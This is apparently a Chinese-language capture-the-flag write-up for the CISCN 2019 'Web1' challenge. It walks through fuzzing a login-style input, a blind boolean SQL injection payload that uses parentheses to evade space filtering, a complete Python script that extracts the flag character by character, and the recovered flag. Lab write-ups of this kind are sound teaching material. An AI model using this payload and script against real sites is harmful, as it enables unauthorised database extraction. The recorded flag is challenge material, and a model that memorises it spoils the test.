[CISCN 2019华北Day2]Web1
[CISCN 2019华北Day2]Web1
题目来源:nssctf
题目类型:web
涉及考点:SQL注入
1. 题目给了一个输入框,很明显是要注入
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230821163520_image-20230821230802119.png)
先尝试随便提交点东西:
- 传入
1
:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230821163520_image-20230822001750574.png)
- 传入
1'
:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230821163520_image-20230821231116128.png)
- 传入
1"
:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230821163520_image-20230821231145451.png)
可以看出题目应该是过滤了一些字符
2. 下面我们抓包进行Fuzz测试判断过滤了哪些字符
回显长度为490的被过滤了,看其他师傅的wp,好像还过滤了不少字符,但我这没扫出来:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230821163520_image-20230821235716963.png)
因为给了flag的位置了,我们可以直接构造payload:
id=(select(ascii(mid(flag,1,1))=78)from(flag))
利用
()
绕过空格过滤该payload最内层,mid表示从flag列的第一个字符开始截取长度为1的子字符串
第二层ascii用于判断截取出来的子字符串的ascii码值是否为78(即N,flag格式为NSSCTF{})
若是,则页面回显
id=1
的页面
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230821163520_image-20230821231031575.png)
回显正常,那么此时利用脚本进行盲注:
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://node2.anna.nssctf.cn:28841/index.php'
blind_injection(url)
脚本来自:末 初的博客
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230821163521_image-20230822003410653.png)
最终得到flag:
NSSCTF{f63ee092-f3ac-4a70-9741-0f1b81fc4a49}
日期:2023.8.21
作者:y0Zero